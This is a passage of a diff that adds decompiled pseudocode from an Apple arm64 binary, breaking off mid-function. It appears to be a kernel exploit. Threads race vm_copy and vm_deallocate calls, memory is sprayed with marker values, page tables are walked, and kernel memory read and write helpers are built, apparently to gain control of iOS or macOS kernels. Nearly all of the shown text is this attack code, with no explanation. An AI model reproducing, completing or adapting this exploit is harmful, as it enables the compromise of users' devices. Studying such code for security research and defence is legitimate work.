vm_deallocate(mach_task_self_, size, 0x4000uLL); + v12 = 0LL; + size = 0LL; + do + { + mach_port_deallocate(mach_task_self_, object[v12]); + object[v12++] = 0; + } + while ( v12 != 4 ); + return 0LL; + } + v14 = 0LL; + v15 = size; + *(_QWORD *)a2 = v8; + *(_QWORD *)(a2 + 8) = v15; + *(_DWORD *)(a2 + 0x10) = v10; + v16 = v9 + ~HIDWORD(v11); + *(_QWORD *)(a2 + 0x20) = v16; + while ( 1 ) + { + v17 = object[v14]; + if ( v14 >= v16 ) + { + mach_port_deallocate(mach_task_self_, v17); + object[v14] = 0; + } + else + { + *(_DWORD *)(a2 + 0x14 + 4 * v14) = v17; + } + if ( v14 == 3 ) + break; + v16 = *(_QWORD *)(a2 + 0x20); + ++v14; + } + return 1LL; +} +// 6CAC: variable 'v7' is possibly undefined + +//----- (0000000000006DC0) ---------------------------------------------------- +__int64 __fastcall sub_6DC0(_QWORD *a1, unsigned __int64 a2, _DWORD *a3) +{ + __int64 v5; // x21 + unsigned __int64 v6; // x8 + vm_address_t v7; // x1 + __int64 result; // x0 + + v5 = a2 & 0x3FFF; + v6 = a2 >> 0xE; + v7 = a1[0xA9]; + *(_DWORD *)(v7 + 0x230) = v6; + vm_copy(mach_task_self_, v7, 0xC000uLL, a1[0xAA]); + result = sub_63E8(a1[0xAC], 0x4000uLL, 0); + *a3 = *(_DWORD *)(a1[0xAC] + v5); + return result; +} + +//----- (0000000000006E30) ---------------------------------------------------- +void *__fastcall sub_6E30(_QWORD *a1, unsigned __int64 a2, void *a3, size_t a4) +{ + __int64 v7; // x22 + unsigned __int64 v8; // x8 + vm_address_t v9; // x1 + + v7 = a2 & 0x3FFF; + v8 = a2 >> 0xE; + v9 = a1[0xA9]; + *(_DWORD *)(v9 + 0x230) = v8; + vm_copy(mach_task_self_, v9, 0xC000uLL, a1[0xAA]); + vm_copy(mach_task_self_, a1[0xAC], 0xC000uLL, a1[0xAD]); + return memcpy(a3, (const void *)(a1[0xAD] + v7), a4); +} + +//----- (0000000000006EB8) ---------------------------------------------------- +__int64 __fastcall sub_6EB8(_QWORD *a1, const void *a2, unsigned __int64 a3, size_t a4) +{ + __int64 v7; // x24 + vm_address_t v8; // x1 + void *v9; // x23 + vm_address_t v10; // x21 + vm_map_t v11; // w0 + __int64 vars8; // [xsp+48h] [xbp+8h] + + v7 = a3 & 0x3FFF; + v8 = a1[0xA9]; + *(_DWORD *)(v8 + 0x230) = a3 >> 0xE; + vm_copy(mach_task_self_, v8, 0xC000uLL, a1[0xAA]); + v9 = (void *)(a1[0xAF] - a4 + 0x4000); + v10 = a1[0xB0] + v7; + memcpy(v9, a2, a4); + v11 = mach_task_self_; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return vm_copy(v11, (vm_address_t)v9, a4 + 0x8000, v10); +} +// 6F58: variable 'vars8' is possibly undefined + +//----- (0000000000006F68) ---------------------------------------------------- +__int64 sub_6F68() +{ + __int64 v0; // x0 + unsigned __int64 v1; // x1 + unsigned __int64 v2; // x19 + _QWORD *v3; // x20 + unsigned __int64 v4; // x21 + __int64 v5; // x23 + __int64 v6; // x8 + unsigned __int64 v7; // x26 + __int64 v8; // x8 + _QWORD v10[2048]; // [xsp+8h] [xbp-4058h] BYREF + + v0 = __chkstk_darwin(); + v2 = v1; + v3 = (_QWORD *)v0; + v4 = *(_QWORD *)(v0 + 0x520); + bzero(v10, 0x4000uLL); + v5 = 0LL; + while ( 1 ) + { + if ( v5 || (v6 = v3[0xA5]) == 0 ) + v6 = *(_QWORD *)((char *)&unk_42DC8 + v5 + 0x50); + v7 = (v6 & v2) >> *(_QWORD *)((char *)&unk_42DC8 + v5 + 0x48); + sub_6E30(v3, v4, v10, 0x4000uLL); + v8 = v10[(unsigned int)v7]; + if ( (*(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 0x58) & ~v8) != 0 ) + return 0LL; + if ( (*(_QWORD *)((_BYTE *)&unk_42DC8 + v5 + 0x60) & v8) == *(_QWORD *)((char *)&unk_42DC8 + v5 + 0x68) ) + break; + v4 = v8 & 0xFFFFFFFFC000LL; + v5 += 0x38LL; + if ( v5 == 0xA8 ) + return 0LL; + } + return v8 & ~*(_QWORD *)((char *)&unk_42DC8 + v5 + 0x40) & 0xFFFFFFFFF000LL | *(_QWORD *)((_BYTE *)&unk_42DC8 + + v5 + + 0x40) & v2; +} +// 6FA0: variable 'v1' is possibly undefined +// 48940: using guessed type __int64 __chkstk_darwin(void); + +//----- (00000000000070A4) ---------------------------------------------------- +_QWORD *__fastcall sub_70A4(_QWORD *result, __int16 a2, char *a3, unsigned __int64 a4) +{ + unsigned __int64 v4; // x19 + _QWORD *v7; // x22 + size_t v8; // x23 + unsigned __int64 v9; // x0 + + if ( a4 ) + { + v4 = a4; + v7 = result; + do + { + if ( v4 >= 0x4000 - (unsigned __int64)(a2 & 0x3FFF) ) + v8 = 0x4000LL - (a2 & 0x3FFF); + else + v8 = v4; + v9 = sub_6F68(); + result = sub_6E30(v7, v9, a3, v8); + a2 += v8; + a3 += v8; + v4 -= v8; + } + while ( v4 ); + } + return result; +} + +//----- (0000000000007128) ---------------------------------------------------- +__int64 __fastcall sub_7128(__int64 result, char *a2, __int16 a3, unsigned __int64 a4) +{ + unsigned __int64 v4; // x19 + _QWORD *v7; // x22 + size_t v8; // x23 + unsigned __int64 v9; // x0 + + if ( a4 ) + { + v4 = a4; + v7 = (_QWORD *)result; + do + { + if ( v4 >= 0x4000 - (unsigned __int64)(a3 & 0x3FFF) ) + v8 = 0x4000LL - (a3 & 0x3FFF); + else + v8 = v4; + v9 = sub_6F68(); + result = sub_6EB8(v7, a2, v9, v8); + a2 += v8; + a3 += v8; + v4 -= v8; + } + while ( v4 ); + } + return result; +} + +//----- (00000000000071AC) ---------------------------------------------------- +__int64 __fastcall find_mem_region(__int64 result) +{ + __int64 v1; // x19 + _OWORD v2[5]; // [xsp+0h] [xbp-90h] BYREF + vm_size_t size; // [xsp+58h] [xbp-38h] BYREF + vm_address_t address; // [xsp+60h] [xbp-30h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+68h] [xbp-28h] BYREF + natural_t nesting_depth; // [xsp+6Ch] [xbp-24h] BYREF + + address = 0LL; + if ( !*(_QWORD *)(result + 0x10) ) + { + v1 = result; + while ( 1 ) + { + size = 0LL; + memset(v2, 0, 0x4C); + infoCnt = 0x13; + nesting_depth = 1; + result = vm_region_recurse_64( + mach_task_self_, + &address, + &size, + &nesting_depth, + (vm_region_recurse_info_t)v2, + &infoCnt); + if ( nesting_depth ) + { + if ( !*(_QWORD *)((char *)v2 + 0xC) ) + break; + } + address += size; + if ( *(_QWORD *)(v1 + 0x10) ) + return result; + } + *(_QWORD *)(v1 + 0x10) = address; + } + return result; +} + +//----- (000000000000725C) ---------------------------------------------------- +__int64 __fastcall sub_725C(__int64 a1) +{ + __int64 result; // x0 + vm_address_t address; // [xsp+18h] [xbp-18h] BYREF + + vm_map( + mach_task_self_, + (vm_address_t *)(a1 + 0x20), + (*(_QWORD *)(a1 + 0x598) << 0xE) + 0xC000LL, + 0x1FFFFFFuLL, + 1, + 0, + 0LL, + 0, + 3, + 7, + 1u); + address = *(_QWORD *)(a1 + 0x20); + vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + address = *(_QWORD *)(a1 + 0x20) + 0x4000LL; + vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + address = *(_QWORD *)(a1 + 0x20) + 0x8000LL; + result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + **(_BYTE **)(a1 + 0x20) = 0x41; + return result; +} + +//----- (0000000000007334) ---------------------------------------------------- +__int64 __fastcall sub_7334(__int64 a1) +{ + __int64 v2; // x21 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-28h] BYREF + + v2 = 0LL; + *(_QWORD *)(a1 + 0x30) = malloc(0xC3500uLL); + do + { + address = 0LL; + result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 1); + *(_QWORD *)(*(_QWORD *)(a1 + 0x30) + v2) = address; + v2 += 8LL; + } + while ( v2 != 0xC3500 ); + return result; +} + +//----- (00000000000073B8) ---------------------------------------------------- +__int64 __fastcall allocate_two_buffers_for_something(_QWORD *a1) +{ + vm_size_t v2; // x2 + __int64 result; // x0 + unsigned __int64 v4; // x8 + unsigned __int64 v5; // x9 + __int64 v6; // x10 + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + a1[0x89] = 0x400000LL; + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x400000uLL, 3); + a1[0x87] = address; + v2 = a1[0x89]; + address = 0LL; + result = vm_allocate(mach_task_self_, &address, v2, 1); + a1[0x88] = address; + v4 = a1[0x89]; + if ( v4 ) + { + v5 = 0LL; + v6 = a1[0x87]; + do + { + *(_BYTE *)(v6 + v5) = 0x41; + v5 += 0x4000LL; + } + while ( v5 < v4 ); + } + return result; +} + +//----- (0000000000007454) ---------------------------------------------------- +__int64 __fastcall sub_7454(_QWORD *a1) +{ + vm_size_t v2; // x2 + vm_size_t v3; // x2 + __int64 result; // x0 + unsigned __int64 v5; // x8 + _OWORD *v6; // x9 + unsigned __int64 v7; // x9 + unsigned __int64 v8; // x22 + vm_address_t v9; // x20 + _BYTE v10[32]; // [xsp+0h] [xbp-140h] BYREF + __int128 v11; // [xsp+20h] [xbp-120h] + __int128 v12; // [xsp+30h] [xbp-110h] + __int128 v13; // [xsp+40h] [xbp-100h] + __int128 v14; // [xsp+50h] [xbp-F0h] + __int128 v15; // [xsp+60h] [xbp-E0h] + __int128 v16; // [xsp+70h] [xbp-D0h] + __int128 v17; // [xsp+80h] [xbp-C0h] + __int128 v18; // [xsp+90h] [xbp-B0h] + __int128 v19; // [xsp+A0h] [xbp-A0h] + __int128 v20; // [xsp+B0h] [xbp-90h] + __int128 v21; // [xsp+C0h] [xbp-80h] + __int128 v22; // [xsp+D0h] [xbp-70h] + __int128 v23; // [xsp+E0h] [xbp-60h] + __int128 v24; // [xsp+F0h] [xbp-50h] + vm_address_t address; // [xsp+108h] [xbp-38h] BYREF + + v2 = 0x28000LL * a1[0xB3]; + a1[0x8C] = v2; + *(_QWORD *)v10 = 0LL; + vm_allocate(mach_task_self_, (vm_address_t *)v10, v2, 1); + a1[0x8A] = *(_QWORD *)v10; + v3 = a1[0x8C] + 0x8000LL; + *(_QWORD *)v10 = 0LL; + result = vm_allocate(mach_task_self_, (vm_address_t *)v10, v3, 1); + a1[0x8B] = *(_QWORD *)v10; + *(_QWORD *)v10 = 0LL; + *(_QWORD *)&v10[0x18] = 0LL; + v23 = 0u; + v24 = 0u; + v21 = 0u; + v22 = 0u; + v19 = 0u; + v20 = 0u; + v17 = 0u; + *(_QWORD *)&v18 = 0LL; + v15 = 0u; + v16 = 0u; + v13 = 0u; + v14 = 0u; + v11 = 0u; + v12 = 0u; + *(_OWORD *)&v10[8] = xmmword_42D30; + DWORD2(v11) = 1; + LODWORD(v16) = 4; + HIDWORD(v16) = 0x101C800; + *((_QWORD *)&v18 + 1) = 0xFFFFFFFFFFFFFFFFLL; + HIDWORD(v19) = 0xC0080; + if ( a1[0x8C] ) + { + v5 = 0LL; + do + { + v6 = (_OWORD *)(v5 + a1[0x8A]); + v6[0xC] = v21; + v6[0xD] = v22; + v6[0xE] = v23; + v6[0xF] = v24; + v6[8] = v17; + v6[9] = v18; + v6[0xA] = v19; + v6[0xB] = v20; + v6[4] = v13; + v6[5] = v14; + v6[6] = v15; + v6[7] = v16; + *v6 = *(_OWORD *)v10; + v6[1] = *(_OWORD *)&v10[0x10]; + v6[2] = v11; + v6[3] = v12; + v5 += 0x100LL; + v7 = a1[0x8C]; + } + while ( v5 < v7 ); + if ( v7 ) + { + v8 = 0LL; + do + { + address = v8 + a1[0x8B]; + v9 = address; + vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4002); + result = sub_63E8(v9, 0x4000uLL, 0); + v8 += 0x4000LL; + } + while ( v8 < a1[0x8C] ); + } + } + return result; +} +// 42D30: using guessed type __int128 xmmword_42D30; + +//----- (0000000000007630) ---------------------------------------------------- +__int64 __fastcall sub_7630(_QWORD *a1) +{ + vm_address_t address; // [xsp+8h] [xbp-18h] BYREF + + address = 0LL; + vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); + a1[0x9E] = address; + sub_66A4(a1); + find_mem_region((__int64)a1); + sub_725C((__int64)a1); + sub_7334((__int64)a1); + allocate_two_buffers_for_something(a1); + return sub_7454(a1); +} + +//----- (00000000000076B0) ---------------------------------------------------- +void *__fastcall sub_76B0(_QWORD *a1) +{ + void *v2; // x19 + vm_address_t v3; // x20 + __int64 v4; // x1 + vm_address_t address; // [xsp+8h] [xbp-28h] BYREF + + v2 = calloc(1uLL, 0x40uLL); + address = 0LL; + vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); + *((_QWORD *)v2 + 7) = address; + while ( !(unsigned int)sub_6BBC(a1, (__int64)v2 + 0x10) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v2 + 8)); + *((_DWORD *)v2 + 8) = 0; + v3 = *((_QWORD *)v2 + 7); + sub_63E8(v3, 0xC000uLL, 0); + sub_6448(v3); + if ( v4 != *((_QWORD *)v2 + 2) ) + { + vm_deallocate(mach_task_self_, v3, 0xC000uLL); + *((_QWORD *)v2 + 7) = 0LL; + *((_QWORD *)v2 + 1) = 1LL; + } + return v2; +} +// 775C: variable 'v4' is possibly undefined + +//----- (0000000000007794) ---------------------------------------------------- +void *__fastcall sub_7794(_QWORD *a1, int a2) +{ + void *v4; // x19 + __int64 v5; // x1 + vm_address_t v6; // x3 + __int64 v7; // x1 + vm_address_t v8; // x3 + __int64 v9; // x1 + vm_address_t v10; // x0 + vm_address_t v11; // x22 + __int64 v12; // x1 + __int64 v13; // x23 + vm_address_t v14; // x22 + __int64 v15; // x1 + vm_address_t v16; // x0 + vm_address_t v17; // x0 + vm_address_t v18; // x22 + __int64 v19; // x1 + __int64 v20; // x23 + __int64 v21; // x8 + vm_address_t v22; // x3 + __int64 v23; // x8 + vm_address_t v25; // x8 + vm_address_t v26; // x6 + vm_prot_t cur_protection[2]; // [xsp+20h] [xbp-40h] BYREF + vm_address_t address; // [xsp+28h] [xbp-38h] BYREF + + v4 = calloc(1uLL, 0x100uLL); + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x18000uLL, 1); + *((_QWORD *)v4 + 0x11) = address; + while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 0x10) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 8)); + *((_DWORD *)v4 + 8) = 0; + **((_BYTE **)v4 + 0x11) = 0x41; + sub_6448(*((_QWORD *)v4 + 0x11)); + if ( v5 != *((_QWORD *)v4 + 2) ) + { + v23 = 1LL; +LABEL_23: + *((_QWORD *)v4 + 1) = v23; + return v4; + } + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x14000uLL, 1); + v6 = address; + *((_QWORD *)v4 + 0x12) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x11) + 0x4000LL, 0x14000uLL, v6); + while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 0x38) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 0x12)); + *((_DWORD *)v4 + 0x12) = 0; + *(_BYTE *)(*((_QWORD *)v4 + 0x12) + 0x10000LL) = 0x41; + sub_6448(*((_QWORD *)v4 + 0x12)); + if ( v7 != *((_QWORD *)v4 + 7) ) + { + v23 = 2LL; + goto LABEL_23; + } + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); + v8 = address; + *((_QWORD *)v4 + 0x13) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x12), 0x10000uLL, v8); + while ( !(unsigned int)sub_6BBC(a1, (__int64)v4 + 0x60) ) + ; + thread_switch(0, 2, 0); + mach_port_deallocate(mach_task_self_, *((_DWORD *)v4 + 0x1C)); + *((_DWORD *)v4 + 0x1C) = 0; + *(_BYTE *)(*((_QWORD *)v4 + 0x13) + 0x8000LL) = 0x41; + sub_6448(*((_QWORD *)v4 + 0x13)); + if ( v9 != *((_QWORD *)v4 + 0xC) ) + { + v23 = 3LL; + goto LABEL_23; + } + v10 = sub_6384(*((_QWORD *)v4 + 0x13), 0x10000uLL, 0); + *((_QWORD *)v4 + 0x14) = v10; + address = v10 + 0x4000; + vm_allocate(mach_task_self_, &address, 0xC000uLL, 0x4000); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x12), 0x14000uLL); + *((_QWORD *)v4 + 0x12) = 0LL; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x11), 0x18000uLL); + *((_QWORD *)v4 + 0x11) = 0LL; + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 3), 0x4000uLL); + *((_QWORD *)v4 + 3) = 0LL; + *((_QWORD *)v4 + 0x15) = sub_6384(*((_QWORD *)v4 + 0x13), 0x10000uLL, 1); + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); + *((_QWORD *)v4 + 0x16) = address; + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); + *((_QWORD *)v4 + 0x17) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x15), 0x10000uLL, *((_QWORD *)v4 + 0x16)); + vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x15), 0x10000uLL, *((_QWORD *)v4 + 0x17)); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x13), 0x10000uLL); + *((_QWORD *)v4 + 0x13) = 0LL; + v11 = *((_QWORD *)v4 + 0x15) + 0x8000LL; + vm_protect(mach_task_self_, v11, 0x4000uLL, 0, 1); + sub_6448(v11); + v13 = v12; + vm_protect(mach_task_self_, v11, 0x4000uLL, 0, 3); + if ( v13 != *((_QWORD *)v4 + 2) ) + { + v23 = 4LL; + goto LABEL_23; + } + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); + v14 = address; + vm_copy(mach_task_self_, address, 0x10000uLL, *((_QWORD *)v4 + 0x14)); + vm_deallocate(mach_task_self_, v14, 0x10000uLL); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x14) + 0x4000LL, 0xC000uLL); + address = 0LL; + vm_allocate(mach_task_self_, &address, 0x10000uLL, 1); + *((_QWORD *)v4 + 0x18) = address; + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 8), 0x4000uLL); + *((_QWORD *)v4 + 8) = 0LL; + *(_BYTE *)(*((_QWORD *)v4 + 0x18) + 0x4000LL) = 0x41; + *((_QWORD *)v4 + 0x19) = sub_6384(*((_QWORD *)v4 + 0x18), 0x10000uLL, 0); + sub_6448(*((_QWORD *)v4 + 0x18)); + if ( v15 != *((_QWORD *)v4 + 7) ) + { + v23 = 5LL; + goto LABEL_23; + } + v16 = *((_QWORD *)v4 + 0x16); + *((_QWORD *)v4 + 0x1A) = v16; + *((_QWORD *)v4 + 0x16) = 0LL; + *((_QWORD *)v4 + 0x1B) = sub_6384(v16, 0x10000uLL, 0); + if ( (a2 & 1) == 0 ) + **((_BYTE **)v4 + 0x1A) = 0x41; + thread_switch(0, 2, 0); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x17), 0x10000uLL); + *((_QWORD *)v4 + 0x17) = 0LL; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0xD), 0x4000uLL); + *((_QWORD *)v4 + 0xD) = 0LL; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x19), 0x10000uLL); + *((_QWORD *)v4 + 0x19) = 0LL; + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x18), 0x10000uLL); + *((_QWORD *)v4 + 0x18) = 0LL; + v17 = *((_QWORD *)v4 + 0x15); + *((_QWORD *)v4 + 0x1C) = v17; + *((_QWORD *)v4 + 0x15) = 0LL; + *((_QWORD *)v4 + 0x1D) = sub_6384(v17, 0x10000uLL, 0); + v18 = *((_QWORD *)v4 + 0x1C); + vm_protect(mach_task_self_, v18, 0x4000uLL, 0, 1); + sub_6448(v18); + v20 = v19; + vm_protect(mach_task_self_, v18, 0x4000uLL, 0, 3); + if ( v20 != *((_QWORD *)v4 + 7) ) + { + v23 = 6LL; + goto LABEL_23; + } + v21 = *((_QWORD *)v4 + 0x1A); + if ( a2 ) + { + *((_QWORD *)v4 + 0x1E) = sub_6384(v21 + 0x4000, 0xC000uLL, 1); + address = 0LL; + vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); + v22 = address; + *((_QWORD *)v4 + 0x1F) = address; + vm_copy(mach_task_self_, *((_QWORD *)v4 + 0x1E), 0xC000uLL, v22); + } + else + { + vm_deallocate(mach_task_self_, v21 + 0xC000, 0x4000uLL); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x1B) + 0xC000LL, 0x4000uLL); + v25 = a1[0x9E]; + if ( v25 ) + { + v26 = *((_QWORD *)v4 + 0x1B); + *(_QWORD *)cur_protection = 0LL; + address = v25; + vm_remap( + mach_task_self_, + &address, + 0xC000uLL, + 0LL, + 0x4000, + mach_task_self_, + v26, + 0, + &cur_protection[1], + cur_protection, + 1u); + vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 0x1B), 0xC000uLL); + *((_QWORD *)v4 + 0x1B) = a1[0x9E]; + a1[0x9E] = 0LL; + } + } + return v4; +} +// 7840: variable 'v5' is possibly undefined +// 78D4: variable 'v7' is possibly undefined +// 795C: variable 'v9' is possibly undefined +// 7A94: variable 'v12' is possibly undefined +// 7B88: variable 'v15' is possibly undefined +// 7C58: variable 'v19' is possibly undefined + +//----- (0000000000007DA4) ---------------------------------------------------- +_QWORD *__fastcall sub_7DA4(_QWORD *a1, __int64 a2) +{ + __int64 i; // x21 + _QWORD *result; // x0 + __int64 v6; // x9 + + for ( i = 0LL; i != 2; ++i ) + { + while ( 1 ) + { + result = sub_76B0(a1); + if ( !result[1] ) + break; + v6 = *(_QWORD *)(a2 + 0x20); + *result = *(_QWORD *)(a2 + 0x18); + *(_QWORD *)(a2 + 0x18) = result; + *(_QWORD *)(a2 + 0x20) = v6 + 1; + } + *(_QWORD *)(a2 + 8 * i) = result; + } + return result; +} + +//----- (0000000000007E08) ---------------------------------------------------- +_QWORD *__fastcall sub_7E08(_QWORD *a1, _QWORD *a2) +{ + _QWORD *v3; // x20 + _QWORD *v4; // x21 + _BOOL4 v5; // w1 + _QWORD *result; // x0 + __int64 v7; // x9 + _QWORD *v8; // x8 + + v3 = a1; + v4 = a1 + 0x97; + v5 = a1 + 0x97 == a2; + while ( 1 ) + { + result = sub_7794(a1, v5); + if ( !result[1] ) + break; + v5 = v4 == a2; + v7 = a2[2]; + *result = a2[1]; + a2[1] = result; + a2[2] = v7 + 1; + a1 = v3; + } + *a2 = result; + if ( a2[2] ) + { + v8 = a2 + 1; + do + v8 = (_QWORD *)*v8; + while ( v8 ); + } + return result; +} + +//----- (0000000000007E84) ---------------------------------------------------- +_QWORD *__fastcall sub_7E84(_QWORD *a1) +{ + __int64 vars8; // [xsp+18h] [xbp+8h] + + sub_7DA4(a1, (__int64)(a1 + 0x8D)); + sub_7DA4(a1, (__int64)(a1 + 0x92)); + sub_7E08(a1, a1 + 0x97); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_7E08(a1, a1 + 0x9B); +} +// 7ECC: variable 'vars8' is possibly undefined + +//----- (0000000000007EDC) ---------------------------------------------------- +__int64 __fastcall sub_7EDC(__int64 a1) +{ + atomic_store(1u, (unsigned __int8 *)(a1 + 0x500)); + vm_copy( + mach_task_self_, + *(_QWORD *)(*(_QWORD *)(a1 + 0x4B8) + 0xF0LL), + 0xC000uLL, + *(_QWORD *)(*(_QWORD *)(a1 + 0x4D8) + 0xD0LL)); + return 0LL; +} + +//----- (0000000000007F28) ---------------------------------------------------- +__int64 __fastcall sub_7F28(__int64 a1) +{ + __int64 i; // x21 + __int64 v3; // x23 + __int64 j; // x21 + __int64 v5; // x23 + + setup_thread_policy(); + for ( i = 0LL; i != 0xFFFFFFFFFFFFFFF0LL; i -= 8LL ) + { + v3 = *(_QWORD *)(a1 + 0x470 + i); + vm_deallocate(mach_task_self_, *(_QWORD *)(v3 + 0x18), 0x4000uLL); + *(_QWORD *)(v3 + 0x18) = 0LL; + } + vm_copy(mach_task_self_, *(_QWORD *)(a1 + 0x438), *(_QWORD *)(a1 + 0x448), *(_QWORD *)(a1 + 0x440)); + for ( j = 0LL; j != 0xFFFFFFFFFFFFFFF0LL; j -= 8LL ) + { + v5 = *(_QWORD *)(a1 + 0x498 + j); + vm_deallocate(mach_task_self_, *(_QWORD *)(v5 + 0x18), 0x4000uLL); + *(_QWORD *)(v5 + 0x18) = 0LL; + } + atomic_store(1u, (unsigned __int8 *)(a1 + 0x510)); + vm_copy(mach_task_self_, *(_QWORD *)(*(_QWORD *)(a1 + 0x4D8) + 0xD0LL), 0xC000uLL, 0xFFFFFFFFFFFFFFFFLL); + return 0LL; +} + +//----- (0000000000007FF8) ---------------------------------------------------- +__int64 __fastcall sub_7FF8(__int64 a1, unsigned __int64 a2) +{ + __int64 v4; // x8 + unsigned __int64 *v5; // x25 + unsigned __int64 *v6; // x21 + __int64 v7; // x22 + __int64 v8; // x26 + __int64 v9; // x23 + unsigned __int64 v10; // x8 + __int64 v11; // x28 + unsigned __int64 v12; // x27 + __int64 result; // x0 + unsigned __int64 v14; // x25 + unsigned __int64 v15; // x26 + vm_address_t address; // [xsp+8h] [xbp-58h] BYREF + + v4 = *(_QWORD *)(a1 + 0x20); + v5 = (unsigned __int64 *)(v4 + 0x4000); + v6 = (unsigned __int64 *)(v4 + 0x8000); + v7 = *(_QWORD *)(a1 + 0x440); + v8 = *(_QWORD *)(a1 + 0x5D8); + v9 = *(_QWORD *)(a1 + 0x5E0); + *(_QWORD *)(v8 + v7) = 0xAAAA1111AAAA1111LL; + *(_QWORD *)(v9 + v7) = 0xAAAA1111AAAA1111LL; + v10 = 0xBBBB2222BBBB2223LL; + v11 = 0x30D40LL; + while ( 1 ) + { + v12 = v10; + address = (vm_address_t)v5; + result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + *v5 = v12; + __dsb(0xAu); + if ( v12 == *(_QWORD *)(v7 + v8) ) + { + *(_BYTE *)(a1 + 0x28) = 1; + goto LABEL_8; + } + if ( v12 == *(_QWORD *)(v7 + v9) ) + break; + v10 = v12 + 1; + if ( !--v11 ) + goto LABEL_8; + } + *(_BYTE *)(a1 + 0x29) = 1; +LABEL_8: + if ( !*(_BYTE *)(a1 + 0x29) && a2 ) + { + v14 = v12 + 1; + v15 = 1LL; + while ( 1 ) + { + address = (vm_address_t)v6; + result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + *v6 = v14; + __dsb(0xAu); + if ( v14 == *(_QWORD *)(v7 + v9) ) + break; + ++v15; + ++v14; + if ( v15 > a2 ) + return result; + } + *(_BYTE *)(a1 + 0x29) = 1; + } + return result; +} + +//----- (000000000000814C) ---------------------------------------------------- +__int64 __fastcall sub_814C(__int64 a1, int a2) +{ + unsigned __int64 *v4; // x21 + __int64 v5; // x22 + __int64 v6; // x8 + __int64 v7; // x23 + unsigned __int64 v8; // x24 + __int64 v9; // x25 + __int64 result; // x0 + vm_address_t address; // [xsp+8h] [xbp-48h] BYREF + + v4 = (unsigned __int64 *)(*(_QWORD *)(a1 + 0x20) + 0x4000LL); + v5 = *(_QWORD *)(a1 + 0x440); + v6 = 0x5E0LL; + if ( a2 ) + v6 = 0x5D8LL; + v7 = *(_QWORD *)(a1 + v6); + *(_QWORD *)(v7 + v5) = 0xAAAA1111AAAA1111LL; + v8 = 0xBBBB2222BBBB2223LL; + v9 = 0x30D40LL; + while ( 1 ) + { + address = (vm_address_t)v4; + result = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4000); + *v4 = v8; + if ( v8 == *(_QWORD *)(v5 + v7) ) + break; + ++v8; + if ( !--v9 ) + return result; + } + if ( a2 ) + *(_BYTE *)(a1 + 0x28) = 1; + else + *(_BYTE *)(a1 + 0x29) = 1; + return result; +} + +//----- (0000000000008228) ---------------------------------------------------- +unsigned __int64 __fastcall sub_8228(__int64 a1) +{ + pthread_t *v2; // x20 + unsigned __int8 *v3; // x21 + void *(__cdecl *v4)(void *); // x0 + unsigned __int8 v5; // w8 + unsigned __int8 v6; // w8 + void *(__cdecl *v7)(void *); // x0 + unsigned __int8 v8; // w8 + unsigned __int8 v9; // w8 + __int64 v10; // x1 + __int64 v11; // x8 + char v12; // w10 + char v13; // w9 + __int64 v14; // x20 + char i; // w8 + char v16; // w21 + unsigned __int64 result; // x0 + + v2 = (pthread_t *)(a1 + 0x4F8); + v3 = (unsigned __int8 *)(a1 + 0x500); + atomic_store(0, (unsigned __int8 *)(a1 + 0x500)); + v4 = (void *(__cdecl *)(void *))nullsub_1(sub_7EDC); + if ( pthread_create(v2, 0LL, v4, (void *)a1) ) + __error(); + v5 = atomic_load(v3); + if ( (v5 & 1) == 0 ) + { + do + { + usleep(0x3E8u); + v6 = atomic_load((unsigned __int8 *)(a1 + 0x500)); + } + while ( (v6 & 1) == 0 ); + } + usleep(0x1388u); + atomic_store(0, (unsigned __int8 *)(a1 + 0x510)); + v7 = (void *(__cdecl *)(void *))nullsub_1(sub_7F28); + if ( pthread_create((pthread_t *)(a1 + 0x508), 0LL, v7, (void *)a1) ) + __error(); + v8 = 